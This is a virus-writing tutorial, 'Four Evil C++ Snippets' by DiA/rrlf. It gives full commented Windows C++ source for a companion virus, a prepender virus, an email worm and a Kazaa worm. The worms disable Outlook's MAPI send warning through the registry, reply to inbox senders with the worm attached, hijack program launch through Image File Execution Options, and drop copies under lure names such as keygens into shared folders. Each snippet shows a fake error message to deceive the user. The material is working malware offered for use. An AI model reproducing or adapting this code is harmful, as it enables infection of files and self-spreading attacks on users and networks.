/********************************************/ /* Four Evil C++ Snippets - by DiA/rrlf */ /* ====================================== */ /* */ /* Disclaimer: I am not responsible for any */ /* damage you do with the knowledge you get */ /* here! Take Care! */ /* */ /* Snipp1: Simple Companion */ /* Snipp2: Simple Prepender */ /* Snipp3: Simple MAPI Worm */ /* Snipp4: Simple Kazaa Worm */ /********************************************/ /************************************************************************************** Snipp1: Simple Companion Description: This simple companion infect all .exe files in current directory by copying the .exe host to .sys and overwrite the .exe file. After infection the virus will start it's host by creating the path of host .sys and execute it. Shows some fake error message when this fails. **************************************************************************************/ #include <small.h> #include <windows.h> /* The header files, windows.h contains all stuff needed for the api's we use here. Small.h is the header file for linker setup to make small executables. */ void RenameFile(char FileToRename[]); /* This is the prototype of the function we use to rename .exe to .sys for making/execute the host file. */ int main() { /* See small.h to know why here are not WinMain...linker,"/ENTRY:main" */ char VirusFile[MAX_PATH]; char HostFile[MAX_PATH]; HANDLE FileExist; char SomeTrash[] = "Sample C++ Companion"; unsigned long BytesWritten; HANDLE FindHandle; WIN32_FIND_DATA Win32FindData; unsigned int FirstGen; /* This are the variables we need in our virus, as example the full path of the virus, full path of host, handles for searching, ... */ GetModuleFileName(0, VirusFile, sizeof(VirusFile)); /* Here we get the full path of the virus file, saving it to buffer VirusFile. We also can write instead sizeof() simply size of buffer, MAX_PATH. */ lstrcpy(HostFile, VirusFile); RenameFile(HostFile); /* Here we copy the full path of the virus file to HostFile and rename the .exe to .sys for checking if this file exist. */ FileExist = CreateFile(HostFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); /* Try to open the host file, just to check if this file exist. If not this function fails and we know that we are in first generation. */ if(FileExist == INVALID_HANDLE_VALUE) { CloseHandle(FileExist); FileExist = CreateFile(HostFile, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0); /* Close file via handle and open it again for writing, using same variable FileExist for handle. */ WriteFile(FileExist, SomeTrash, sizeof(SomeTrash), &BytesWritten, 0); /* Write some trash in this file, later when we try to execute this it gives us an error and we can show user a fake error message. Otherwise this will be an endless loop, Virus calls Virus this calls one more... and the PC will crash. */ } CloseHandle(FileExist); /* Close handle again. */ FindHandle = FindFirstFile("*.exe", &Win32FindData); /* Lets go, here we search the first .exe file in current folder and save also the find handle for use FindNextFile later. Informations about the file are in Win32FindData. */ do { /* A do..while loop because we want also infect the FirstFile we found. */ lstrcpy(HostFile, Win32FindData.cFileName); /* Copy string of found file to HostFile for rename and copying. */ RenameFile(HostFile); /* Rename last 3 chars (.exe) to our fake extension (.sys). So we can copy the real file to the fake file and overwrite real file. */ CopyFile(Win32FindData.cFileName, HostFile, TRUE); /* Copy found file to the host file with the fake extension .sys, but (!) dont copy if this file .sys already exist. Otherwise we overwrite the real host file with the virus. */ CopyFile(VirusFile, Win32FindData.cFileName, FALSE); /* Copy virus file over the found .exe file. Copy always, means overwrite existing file always, dont care if virus overwrite virus. */ } while(FindNextFile(FindHandle, &Win32FindData) != 0); /* Loop agian when FindNextFile dont return a error (0), goto begin of do{. */ RenameFile(VirusFile); /* Rename virus file, as result we get the name of our host file, we need that to execute the host. */ FirstGen = WinExec(VirusFile, SW_SHOW); /* We try to execute the host, if it works you can be happy ;). */ if(FirstGen < 31) { /* There was an error, sure because we write only trash in the file so we cant execute it like a .exe. */ MessageBox(0, "Can not execute application.", 0, MB_ICONERROR); /* Show some fake error message. */ } return 0; /* We are done! */ } void RenameFile(char FileToRename[]) { /* Our function that renames a file (string only) from .exe to .sys, this dont return anything, VOID. */ lstrcpy(FileToRename + (lstrlen(FileToRename) - 3), "sys"); /* This renames the last 3 chars to sys, simple copy the sys to the last 3 chars of existing string. You can get place of the last 3 chars by doing this: Start String + String Length - 3. */ } /************************************************************************************** Snipp1: Simple Prepender Description: This virus will infect all .exe files in current folder. It reads virus and host code into memory then starts with infection. Virus will read original host code of a uninfected file into memory and write virus code and then host code to .exe file. After virus + host there is an infection mark that will prevent from double infection. After infecting all files, virus writes host code to a file and execute this. If it fails it shows some fake error message. **************************************************************************************/ #include <small.h> #include <windows.h> /* Header files. Small.h is the linker setup and Windows.h includes declarations and stuff for api's using here. */ int main() { const int VirusSize = 2048; const char InfMark[] = "DiA"; /* This constants are required for successful working! The VirusSize is the size in bytes of the executable you get when you compile and link this virus. InfMark is the infection marker to prevent double infection of files. */ char VirusFile[MAX_PATH]; HANDLE VirusFileHandle; HGLOBAL VirusMem; LPVOID VirusMemStart; HGLOBAL HostMem; LPVOID HostMemStart; DWORD HostSize; unsigned long BytesRead; unsigned long BytesWrite; HANDLE HostFileHandle; unsigned int ExecuteHost; HANDLE FindHandle; WIN32_FIND_DATA Win32FindData; HANDLE VictimFileHandle; DWORD VictimSize; HGLOBAL VictimMem; LPVOID VictimMemStart; char InfectionMark[4]; //with the Zero! DiA, 0 == 4 bytes /* This are all variables need in the virus. As example handles for file reading/writing , finding files and buffer for full path of virus. */ GetModuleFileName(0, VirusFile, sizeof(VirusFile)); /* The well known api to get the full path of the virus and the appended host. */ VirusFileHandle = CreateFile(VirusFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); /* Open this file for reading virus code and host code into memory. */ VirusMem = GlobalAlloc(GMEM_MOVEABLE, VirusSize); VirusMemStart = GlobalLock(VirusMem); ReadFile(VirusFileHandle, VirusMemStart, VirusSize, &BytesRead, 0); /* Get some memory and the start address of it. Create "VirusSize" memory and read from the biginning of the file the virus code. Start address of virus code is now VirusMemStart. */ HostSize = GetFileSize(VirusFileHandle, 0) - VirusSize; HostMem = GlobalAlloc(GMEM_MOVEABLE, HostSize); HostMemStart = GlobalLock(HostMem); ReadFile(VirusFileHandle, HostMemStart, HostSize, &BytesRead, 0); /* Get size of the whole file, virus + host. Then calculate the host size, (Virus + Host) - VirusSize. Make "HostSize" memory and get the start address of this memory. Then read the host code, start is after the virus code. Because we already read the virus the file pointer is behind the virus. We dont care to read the infetction marker with the host. If you want care do: ((Virus + Host) - VirusSize) - 3 = HostSize without infection mark. */ CloseHandle(VirusFileHandle); /* Close this file via handle, we have all we need to run host and infect files. */ lstrcpy(VirusFile + (lstrlen(VirusFile) - 3), "dll"); /* Rename virus file from .exe to .dll to make the host and execute it. */ HostFileHandle = CreateFile(VirusFile, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); WriteFile(HostFileHandle, HostMemStart, HostSize, &BytesWrite, 0); CloseHandle(HostFileHandle); /* Create a new file with the fake extension .dll and write host to it. We know all to do this, host size and memory start address. After writing close the file so we can execute it. */ GlobalUnlock(HostMem); GlobalFree(HostMem); /* Free the memory of the host, because we dont need it anymore, its code is now stored in a file. We do this via the handle we saved. */ ExecuteHost = WinExec(VirusFile, SW_SHOW); if(ExecuteHost < 31) { MessageBox(0, "Can not execute application", 0, MB_ICONERROR); } /* Here we try to execute the host. If it success the user see the application and all is fine. But when it fails we show some fake error message. It fails on first try, the first generation, because host code size equals 0 bytes. So 0 bytes are in the file with .dll extension stored. */ FindHandle = FindFirstFile("*.exe", &Win32FindData); /* Find first file in current directory and save the find handle for FindNextFile. All informations we need about the file is stored in Win32FindData. */ do { VictimFileHandle = CreateFile(Win32FindData.cFileName, GENERIC_READ + GENERIC_WRITE, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); /* Open the victim file for reading and writing. We want to read the host code and after that writing virus and then host. */ VictimSize = GetFileSize(VictimFileHandle, 0); if(VictimSize == VirusSize) continue; /* Get the victims size and check if it is equal to the virus size. Maybe first generation is in the current folder, and we not want to infect the virus because it will give a endless loop of executions when user start double infected file. */ SetFilePointer(VictimFileHandle, (VictimSize - 3), 0, FILE_BEGIN); ReadFile(VictimFileHandle, InfectionMark, 3, &BytesRead, 0); /* Set the file pointer to the last 3 bytes of the victim file. Then read this 3 bytes. Pointer is now at file end. We need this 3 bytes to see if the file is already infected. We check it later. */ VictimMem = GlobalAlloc(GMEM_MOVEABLE, VictimSize); VictimMemStart = GlobalLock(VictimMem); /* Get "VisctimSize" memory to read whole victim in memory. */ if(lstrcmp(InfectionMark, InfMark) != 0) { /* Infect the file only when the last 3 bytes of the victim file do not equal to the infection marker. */ SetFilePointer(VictimFileHandle, 0, 0, FILE_BEGIN); ReadFile(VictimFileHandle, VictimMemStart, VictimSize, &BytesRead, 0); SetFilePointer(VictimFileHandle, 0, 0, FILE_BEGIN); /* Set file pointer to begin of the file, then read the whole victim (our host) into memory. We need it later to write it after the virus. After reading the file pointer is at file end, but we want to write the virus at file begin so we set file pointer back to begin. */ WriteFile(VictimFileHandle, VirusMemStart, VirusSize, &BytesWrite, 0); WriteFile(VictimFileHandle, VictimMemStart, VictimSize, &BytesWrite, 0); WriteFile(VictimFileHandle, InfMark, 3, &BytesWrite, 0); /* Infection time baby! We are at file begin, lets write all to the victim file. First the virus, so it get first executed when user starts the infected application. Second write the host code to it, that virus can extract and execute it. Third write the infection marker to prevent double infection of files. */ } GlobalUnlock(VictimMem); GlobalFree(VictimMem); CloseHandle(VictimFileHandle); /* Free the memory where the victim code was, we don't need that anymore. Also close the victim file, to open maybe another one. All via the saved handles. */ } while(FindNextFile(FindHandle, &Win32FindData) != 0); /* Find the next file in current folder via the saved find handle from FindFirstFile. Loop it when FindNextFile succeed, otherwise jump out of the do...while loop. */ GlobalUnlock(VirusMem); GlobalFree(VirusMem); /* Free memory from virus code. We are done so we don't need it anymore. */ return 0; /* FIN. Get a beer... */ } /************************************************************************************** Snipp1: Simple MAPI Worm Description: This worm will not install itself on the infected system. It just "answers" to the mails in Outlook Express Inbox with "Re: <subject>". It attachs the worm file. It also disable MAPI warning via editing a registry entry. **************************************************************************************/ #include <small.h> #include <windows.h> #include <winreg.h> #include <mapi.h> /* All header files we need for the worm, small.h is the linker setup, windows.h is for the api's, winreg.h is for regitry api's n stuff and mapi.h to handle with MAPI. */ int main() { HKEY RegHandle1; HKEY RegHandle2; char DefaultUserId[100]; DWORD DefaultUserIdSize = sizeof(DefaultUserId); DWORD WarnDisable = 0; /* The declarations we need to save stuff from registry, as example the handles, the default user id and the value for disabling MAPI warning. */ HINSTANCE MapiDll; LPMAPILOGON MapiLogon; LPMAPIFINDNEXT MapiFindNext; LPMAPIREADMAIL MapiReadMail; LPMAPISENDMAIL MapiSendMail; LPMAPILOGOFF MapiLogoff; LHANDLE MapiSessionHandle; MapiMessage *GetMessage; MapiMessage Message; MapiRecipDesc Originator; MapiRecipDesc Recips; MapiFileDesc Files; /* The declarations we need to handle with MAPI, we declare the used api's and structures. We fill the structures with needed data's later. */ char WormFile[MAX_PATH]; char Subject[100]; char VictimAddress[100]; char MessageBuffer[512]; char Re[] = "Re: "; unsigned short MailCount = 5; /* The buffer for worm path, subject of e-mail, victims mail address, the string "Re: " to fake an answer and the mail count. "Answer" the last 5 mails in box. */ Message.ulReserved = 0; Message.lpszSubject = Subject; Message.lpszNoteText = "Hehe, sorry, I forgot ;)\nHave fun..."; Message.lpszMessageType = 0; Message.lpszDateReceived = 0; Message.lpszConversationID = 0; Message.flFlags = 0; Message.lpOriginator = &Originator; Message.nRecipCount = 1; Message.lpRecips = &Recips; Message.nFileCount = 1; Message.lpFiles = &Files; Originator.ulReserved = 0; Originator.ulRecipClass = MAPI_ORIG; Originator.lpszName = 0; Originator.lpszAddress = 0; Originator.ulEIDSize = 0; Originator.lpEntryID = 0; Recips.ulReserved = 0; Recips.ulRecipClass = MAPI_TO; Recips.lpszName = 0; Recips.lpszAddress = VictimAddress; Recips.ulEIDSize = 0; Recips.lpEntryID = 0; Files.ulReserved = 0; Files.flFlags = 0; Files.nPosition = 0; Files.lpszPathName = WormFile; Files.lpszFileName = "YourFile.exe"; Files.lpFileType = 0; /* The MAPI Message structure, we fill it with data's. We fill the buffers Subject, VictimAddress and WormFile later, now it's just a pointer to this buffers. Somethin you have to know: Message.lpszSubject = Mail Subject Message.lpszNoteText = Mail Body Originator.lpszName = Sender of the Mail, name Originator.lpszAddress = Sender of the Mail, mail address Recips.lpszName = Who gets the Mail, name Recips.lpszAddress = Who gets the Mail, mail address Files.lpszPathName = Attachment, where is the file stored Files.lpszFileName = Attachment, how is the attached file named */ RegOpenKeyEx(HKEY_CURRENT_USER, "Identities", 0, KEY_QUERY_VALUE, &RegHandle1); RegQueryValueEx(RegHandle1, "Default User ID", 0, 0, (BYTE *)&DefaultUserId, &DefaultUserIdSize); lstrcat(DefaultUserId, "\\Software\\Microsoft\\Outlook Express\\5.0\\Mail"); RegOpenKeyEx(RegHandle1, DefaultUserId, 0, KEY_SET_VALUE, &RegHandle2); RegSetValueEx(RegHandle2, "Warn on Mapi Send", 0, REG_DWORD, (BYTE *)&WarnDisable, sizeof(WarnDisable)); RegCloseKey(RegHandle2); RegCloseKey(RegHandle1); /* Here we play with the registry to disable outlook warning when a other application try's to send a mail with MAPI. 1. Open HKEY_CURRENT_USER\Identities and save handle 2. Read value of "Default User ID" and save it to buffer 3. Append path to outlook settings to it, now: HKEY_CURRENT_USER\Identities\<UserID>\Software\Microsoft\Outlook Express\5.0\Mail 4. Open this registry path and save handle 5. Set "Warn on Mapi Send" to 0, means no warning 6. Close both handles. */ MapiDll = LoadLibrary("MAPI32.DLL"); MapiLogon = (LPMAPILOGON) GetProcAddress(MapiDll, "MAPILogon"); MapiFindNext = (LPMAPIFINDNEXT) GetProcAddress(MapiDll, "MAPIFindNext"); MapiReadMail = (LPMAPIREADMAIL) GetProcAddress(MapiDll, "MAPIReadMail"); MapiSendMail = (LPMAPISENDMAIL) GetProcAddress(MapiDll, "MAPISendMail"); MapiLogoff = (LPMAPILOGOFF) GetProcAddress(MapiDll, "MAPILogoff"); /* Here we load all for MAPI needed api's. First we load the library MAPI32.DLL and sae the handle to extract all api's with GetProcAddress. */ GetModuleFileName(0, WormFile, sizeof(WormFile)); /* Get the full path of the worm file to send it as attachment with mail. */ MapiLogon(0, 0, 0, 0, 0, &MapiSessionHandle); /* Log into a new MAPI session and save the handle. */ while(MapiFindNext(MapiSessionHandle, 0, 0, MessageBuffer, MAPI_GUARANTEE_FIFO, 0, MessageBuffer) == SUCCESS_SUCCESS || MailCount == 0) { /* Find first or next mail stored in the mail box and save it to buffer. If this fails or we arrived mail count then jump out of this while loop. */ if(MapiReadMail(MapiSessionHandle, 0, MessageBuffer, 0, 0, &GetMessage) == SUCCESS_SUCCESS) { /* Read the mail we found via MapiFindNext to structure GetMessage. If this fails try to find next mail. */ lstrcpy(Subject, Re); lstrcat(Subject, GetMessage->lpszSubject); lstrcpy(VictimAddress, GetMessage->lpOriginator->lpszAddress); /* Copy "Re: " to buffer and append the real subject of the mail, as example "Re: Hey, whassup?". Copy the senders mail address to our buffer to "answer" the mail. */ if (MapiSendMail(MapiSessionHandle, 0, &Message, 0, 0) == SUCCESS_SUCCESS) { /* Send the mail, MAPI Message structure is successfuly filled with needed data's, so it should work. If not try to find next mail in box. */ MailCount--; /* We send successfull a mail, so we decrease the mail count by one. */ } } } MapiLogoff(MapiSessionHandle, 0, 0, 0); FreeLibrary(MapiDll); /* Logoff the current session via handle we saved, and free the library MAPI32.DLL also via handle. */ MessageBox(0, "Can not execute this application.", "ERROR", MB_ICONERROR); /* Show fake error message to fool user, maybe he delete the worm because he think it's a not working application, but we dont care, he already sent this baby to 5 of his friends (in best case) :). */ return 0; /* Hope it helped you a little bit. */ } /************************************************************************************** Snipp1: Simple Kazaa Worm Description: This worm installs itself on the infected system under a file stored in the windows folder. It redirects execution of Kazaa to the worm file, so first worm gets started. The worm will copy itself to some filenames in kazaa shared folder. After worm did it's work it starts kazaa. If the worm is started somewhere else then redirect Kazaa it shows a simple fake error message. Hint: to get a "stealth" Kazaa worm delete the copys of the worm in Kazaa shared folder when Kazaa gets terminated. **************************************************************************************/ #include <small.h> #include <windows.h> #include <winreg.h> /* Header files to get a small .exe, to handle with api's and registry. */ int main() { char WormWinPath[MAX_PATH]; char WormPath[MAX_PATH]; char SharedFolder[MAX_PATH]; /* The buffers where we store the path of the worm, the windows directory and the kazaa lite shared folder. */ HKEY FileExHandle; HKEY KazaaRegHandle; HKEY SharedFolderHandle; unsigned long SharedFolderSize = sizeof(SharedFolder); /* Handles and size stuff we need to handle with the rgistry. */ LPSTR RunKazaa; /* Pointer where we save the command line, so we can execute kazaa lite. */ char *FakeNames[] = { "PemalaAndersonScreensaver", "Photoshop_8.0_keygen", "HotPhotos_selfextract", "Windows_AllProducts_keygen", "KazaaLightSpeedPatch", "Keygen", "StrangeSound" }; /* The fake names in a array. Please note that this is not very smart to use such stupid names, but i am lazy using my brain for the names ;). Do it by yourself, i think you are smart enogh... */ GetModuleFileName(0, WormPath, sizeof(WormPath)); /* Get full path of worm and save it to buffer. */ if(lstrcmp(WormPath + (lstrlen(WormPath) - 9), "mrowk.exe") != 0) { /* Check last 9 bytes for our name, if we run from windows folder then kazaa is already trapped. If it has another name then trap kazaa and show little fake error. */ GetWindowsDirectory(WormWinPath, sizeof(WormWinPath)); /* Get windows directory in buffer. */ lstrcat(WormWinPath, "\\mrowk.exe"); CopyFile(WormPath, WormWinPath, FALSE); /* Append our name "mrwok.exe" to get a valid path (dont forget the "\"). Copy the worm to this location. */ RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options", 0, KEY_CREATE_SUB_KEY, &FileExHandle); RegCreateKey(FileExHandle, "klrun.exe", &KazaaRegHandle); RegCloseKey(FileExHandle); /* Open image file execution key and create the key "klrun.exe". That means that everytime when user starts kazaa lite he first starts our worm. Close key via handle. */ RegSetValueEx(KazaaRegHandle, "Debugger", 0, REG_SZ, (unsigned char *)&WormWinPath, lstrlen(WormWinPath)); RegCloseKey(KazaaRegHandle); /* Create the value "Debugger - path to worm in windows directory". Please check out 29A issue 8 for a tutorial about this trapping method. Greets fly out to GriYo, kewl thing. */ MessageBox(0, "Can not execute this application.", "ERROR", MB_ICONERROR); /* Show a fake error message, just to fool user. */ } else { RunKazaa = GetCommandLine(); RunKazaa = RunKazaa + (lstrlen(WormPath) + 2); lstrcpy((RunKazaa + lstrlen(RunKazaa)) - 11, "start.exe"); WinExec(RunKazaa, SW_SHOW); /* Get whole command line, including path of kazaa lite. Extract this path and replace "klrun.exe" with "start.exe". You can execute kazaa lite with both. Then use simple WinExec to execute kazaa, it should work. */ RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Kazaa\\Transfer", 0, KEY_QUERY_VALUE, &SharedFolderHandle); RegQueryValueEx(SharedFolderHandle, "DlDir0", 0, 0, (unsigned char *)&SharedFolder, &SharedFolderSize); RegCloseKey(SharedFolderHandle); /* Get kazaa lite shared folder path from registry, open, query, close. Save it to buffer, so we can use it. */ SetCurrentDirectory(lstrcat(SharedFolder, "\\")); /* Go to the kazaa lite shared folder, it is now the current directory. */ for(int i = 0; i < 7; i++) { CopyFile(WormPath, lstrcat(FakeNames[i], ".exe"), FALSE); /* Copy the 7 fake names from the worm path to kazaa lite shared folder + fake name. Overwrite if they already exist, who cares. */ } } return 0; /* I go to bed, nighty... */ } // small.h - makes small executables with MSVC++ 6.0 - copy to Include folder // ************************************************************************** #pragma comment(linker,"/ENTRY:main") #pragma comment(linker,"/MERGE:.rdata=.data") #pragma comment(linker,"/MERGE:.text=.data") #pragma comment(lib,"msvcrt.lib") #if (_MSC_VER < 1300) #pragma comment(linker,"/IGNORE:4078") #pragma comment(linker,"/OPT:NOWIN98") #endif #define WIN32_LEAN_AND_MEAN